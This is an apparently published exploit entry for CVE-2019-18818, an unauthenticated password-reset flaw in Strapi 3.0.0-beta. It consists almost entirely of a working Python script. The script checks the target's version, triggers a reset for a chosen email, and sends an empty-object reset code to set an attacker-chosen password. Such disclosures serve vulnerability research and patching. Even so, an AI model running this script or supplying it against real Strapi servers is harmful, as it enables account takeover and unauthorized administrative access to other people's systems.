Strapi 3.0.0-beta – Set Password (Unauthenticated)
# Exploit Title: Strapi 3.0.0-beta - Set Password (Unauthenticated) # Date: 2021-08-29 # Exploit Author: David Anglada [CodiObert] # Vendor Homepage: https://strapi.io/ # Version: 3.0.0-beta # Tested on: Linux # CVE: CVE-2019-18818 #!/usr/bin/python import requests import sys import json userEmail = "valid@email.com" strapiUrl = "http://strapi.url" newPassword = "codiobert" s = requests.Session() # Get strapi version strapiVersion = json.loads(s.get("{}/admin/strapiVersion".format(strapiUrl)).text) print("[*] strapi version: {}".format(strapiVersion["strapiVersion"])) # Validate vulnerable version if strapiVersion["strapiVersion"].startswith('3.0.0-beta') or strapiVersion["strapiVersion"].startswith('3.0.0-alpha'): # Password reset print("[*] Password reset for user: {}".format(userEmail)) resetPasswordReq={"email":userEmail, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(strapiUrl)} s.post("{}/".format(strapiUrl), json=resetPasswordReq) # Set new password print("[*] Setting new password") exploit={"code":{}, "password":newPassword, "passwordConfirmation":newPassword} r=s.post("{}/admin/auth/reset-password".format(strapiUrl), json=exploit) # Check if the password has changed if "username" in str(r.content): print("[+] New password '{}' set for user {}".format(newPassword, userEmail)) else: print("\033[91m[-] Something went wrong\033[0m") sys.exit(1) else: print("\033[91m[-] This version is not vulnerable\033[0m") sys.exit(1) |